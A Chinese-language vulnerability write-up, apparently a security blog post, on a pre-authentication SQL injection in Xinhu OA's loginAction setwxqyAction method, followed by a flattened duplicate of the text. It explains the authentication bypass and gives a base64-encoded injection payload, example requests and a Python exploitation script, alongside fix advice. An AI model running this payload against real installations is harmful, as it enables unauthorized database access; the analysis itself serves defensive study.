信呼OA最新版前台SQL注入披露与挖掘过程
字数 1527 2025-09-01 11:25:54

信呼OA前台SQL注入漏洞分析与挖掘教学文档

1. 漏洞概述

信呼OA是一款基于PHP+MySQL开发的开源协同办公系统,主要面向中小型企业、政府机构及组织。本教学文档将详细分析该系统中存在的一个前台SQL注入漏洞,包括漏洞原理、挖掘思路、技术细节和复现方法。

2. 漏洞基本信息

  • 漏洞类型:前台SQL注入
  • 影响文件webmain/task/api/loginAction.php
  • 影响方法setwxqyAction()
  • 触发参数shouji
  • 漏洞等级:高危
  • 发现时间:2025年8月10日

3. 漏洞挖掘思路

3.1 总体思路

在信呼OA中挖掘SQL注入漏洞主要有三种思路:

  1. 硬刚过滤规则:直接绕过$rock->getpost方法的底层过滤
  2. 寻找不使用封装方法的传参点:查找直接使用$_GET$_POST获取参数的代码
  3. 利用加密字符串绕过字符检测:寻找对输入参数进行解码处理的代码路径

本漏洞采用思路3挖掘,通过寻找对输入参数进行解码处理的代码路径来绕过安全检测。

3.2 具体挖掘步骤

  1. 全局搜索解密关键词:在代码中搜索base64decodeurldecode等解码函数
  2. 关注Action文件:重点关注继承自mainAction的类文件
  3. 定位漏洞点:最终定位到loginAction.php中的setwxqyAction()方法

4. 漏洞技术分析

4.1 漏洞代码分析

漏洞位于webmain/task/api/loginAction.php文件中的setwxqyAction()方法:

public function setwxqyAction()
{
    $shouji = $this->get('shouji');  // 获取shouji参数
    $shouji = base64decode($shouji); // 对参数进行base64解码
    // ...
    $where = "mobile='$shouji'";     // 直接拼接SQL语句
    $sbs   = $this->db->getone('[Q]user', $where); // 执行SQL查询
    // ...
}

4.2 漏洞成因

  1. 直接获取shouji参数并进行base64解码
  2. 解码后的内容未经任何过滤直接拼接到SQL语句中
  3. 使用getone()方法执行拼接后的SQL语句

4.3 鉴权绕过分析

该漏洞为前台注入的关键在于成功绕过了系统的鉴权机制。信呼OA的鉴权主要流程如下:

  1. 类继承结构loginActionActionNotActionmainAction

  2. 鉴权关键方法

    • initProject():在Action类中实现
    • initAction():在ActionNot类中重写
    • logincheck():在ActionNot类中重写为空方法
  3. 具体绕过过程

1. 请求到达loginAction
2. 触发mainAction的__construct()
3. 调用initProject() → 调用getlogin() → 调用logincheck()
   但由于ActionNot重写了logincheck()为空方法,实际不执行任何鉴权
4. 调用initAction()
   - 判断$boss = (M == 'login|api') → 为true
   - 三个if条件都因$boss为true而被跳过
5. 最终成功绕过所有鉴权

5. 漏洞复现

5.1 复现环境

  • 信呼OA最新版
  • PHP环境
  • MySQL数据库

5.2 复现步骤

  1. 构造恶意请求:

    POST /path/to/sinhurOA/webmain/task/api/loginAction.php?m=setwxqy&shouji=[base64编码的SQL注入payload]
    
  2. 示例payload:

    • 先构造SQL注入语句,如:' OR 1=1 --
    • 进行base64编码:JyBPUiAxPTEgLS0g
  3. 发送请求:

    POST /webmain/task/api/loginAction.php?m=setwxqy&shouji=JyBPUiAxPTEgLS0g
    
  4. 观察响应,确认注入是否成功

5.3 自动化利用

可以编写简单的Python脚本进行自动化利用:

import requests
import base64

url = "http://target.com/webmain/task/api/loginAction.php"
params = {
    'm': 'setwxqy',
    'shouji': base64.b64encode("' OR 1=1 -- ".encode()).decode()
}

response = requests.post(url, params=params)
print(response.text)

6. 修复建议

  1. 参数过滤

    • 对所有用户输入进行严格的过滤和转义
    • 使用预处理语句或ORM框架
  2. 鉴权加固

    • 确保所有API接口都有适当的鉴权机制
    • 避免重写关键安全方法为空实现
  3. 代码审计

    • 检查所有使用base64decode等解码函数后直接拼接SQL的代码
    • 对Action类继承体系进行全面的安全审查
  4. 使用安全函数

    • 替换直接SQL拼接为参数化查询
    • 使用框架提供的安全数据库操作方法

7. 总结

本漏洞展示了在开源OA系统中常见的安全问题:

  1. 解码后直接使用用户输入
  2. 鉴权机制可以被绕过
  3. SQL注入风险

通过分析此类漏洞,安全研究人员可以更好地理解:

  • PHP应用的鉴权流程
  • 类继承对安全机制的影响
  • 二次编码在绕过安全检测中的应用

这种漏洞的挖掘思路也可以应用于其他类似系统的安全审计中。

信呼OA前台SQL注入漏洞分析与挖掘教学文档 1. 漏洞概述 信呼OA是一款基于PHP+MySQL开发的开源协同办公系统,主要面向中小型企业、政府机构及组织。本教学文档将详细分析该系统中存在的一个前台SQL注入漏洞,包括漏洞原理、挖掘思路、技术细节和复现方法。 2. 漏洞基本信息 漏洞类型 :前台SQL注入 影响文件 : webmain/task/api/loginAction.php 影响方法 : setwxqyAction() 触发参数 : shouji 漏洞等级 :高危 发现时间 :2025年8月10日 3. 漏洞挖掘思路 3.1 总体思路 在信呼OA中挖掘SQL注入漏洞主要有三种思路: 硬刚过滤规则 :直接绕过 $rock->get 或 post 方法的底层过滤 寻找不使用封装方法的传参点 :查找直接使用 $_GET 或 $_POST 获取参数的代码 利用加密字符串绕过字符检测 :寻找对输入参数进行解码处理的代码路径 本漏洞采用 思路3 挖掘,通过寻找对输入参数进行解码处理的代码路径来绕过安全检测。 3.2 具体挖掘步骤 全局搜索解密关键词 :在代码中搜索 base64decode 、 urldecode 等解码函数 关注Action文件 :重点关注继承自 mainAction 的类文件 定位漏洞点 :最终定位到 loginAction.php 中的 setwxqyAction() 方法 4. 漏洞技术分析 4.1 漏洞代码分析 漏洞位于 webmain/task/api/loginAction.php 文件中的 setwxqyAction() 方法: 4.2 漏洞成因 直接获取 shouji 参数并进行base64解码 解码后的内容未经任何过滤直接拼接到SQL语句中 使用 getone() 方法执行拼接后的SQL语句 4.3 鉴权绕过分析 该漏洞为前台注入的关键在于成功绕过了系统的鉴权机制。信呼OA的鉴权主要流程如下: 类继承结构 : loginAction → ActionNot → Action → mainAction 鉴权关键方法 : initProject() :在 Action 类中实现 initAction() :在 ActionNot 类中重写 logincheck() :在 ActionNot 类中重写为空方法 具体绕过过程 : 5. 漏洞复现 5.1 复现环境 信呼OA最新版 PHP环境 MySQL数据库 5.2 复现步骤 构造恶意请求: 示例payload: 先构造SQL注入语句,如: ' OR 1=1 -- 进行base64编码: JyBPUiAxPTEgLS0g 发送请求: 观察响应,确认注入是否成功 5.3 自动化利用 可以编写简单的Python脚本进行自动化利用: 6. 修复建议 参数过滤 : 对所有用户输入进行严格的过滤和转义 使用预处理语句或ORM框架 鉴权加固 : 确保所有API接口都有适当的鉴权机制 避免重写关键安全方法为空实现 代码审计 : 检查所有使用 base64decode 等解码函数后直接拼接SQL的代码 对Action类继承体系进行全面的安全审查 使用安全函数 : 替换直接SQL拼接为参数化查询 使用框架提供的安全数据库操作方法 7. 总结 本漏洞展示了在开源OA系统中常见的安全问题: 解码后直接使用用户输入 鉴权机制可以被绕过 SQL注入风险 通过分析此类漏洞,安全研究人员可以更好地理解: PHP应用的鉴权流程 类继承对安全机制的影响 二次编码在绕过安全检测中的应用 这种漏洞的挖掘思路也可以应用于其他类似系统的安全审计中。